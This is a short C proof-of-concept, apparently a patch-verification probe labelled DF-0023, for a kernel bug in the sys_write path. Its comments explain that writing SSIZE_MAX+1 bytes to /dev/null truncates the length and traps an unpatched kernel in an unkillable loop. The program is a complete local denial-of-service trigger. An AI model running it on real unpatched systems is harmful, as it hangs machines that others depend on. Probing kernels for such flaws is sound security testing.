DF-0023 / write_only.c
/* * DF-0023 - separate probe for the sys_write path * (sys/kern/sys_generic.c:336-337). * * write(/dev/null, buf, SSIZE_MAX+1): * - UNPATCHED: hangs in an infinite, UNINTERRUPTIBLE kernel loop in mmrw * (kern_memio.c: u_int c truncates 64-bit iov_len -> 0; the * `while(uio_resid>0)` loop never terminates; kill -9 no-op) * - PATCHED : returns -1 errno=EINVAL * * Build: cc -o write_only write_only.c * Run: ./write_only (wrap in `timeout 12` on an unpatched kernel) */ #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <stdio.h> #include <stdint.h> int main(void) { int fd = open("/dev/null", O_RDWR); if (fd < 0) { perror("open"); return 1; } char buf[16]; size_t n = (size_t)1 << (sizeof(size_t) * 8 - 1); /* 0x8000000000000000 */ errno = 0; ssize_t w = write(fd, buf, n); int e = errno; fprintf(stderr, "write(fd,buf,SSIZE_MAX+1) = %zd, errno=%d (%s)\n", w, e, e == EINVAL ? "EINVAL" : (e == 0 ? "OK" : "OTHER")); return 0; } |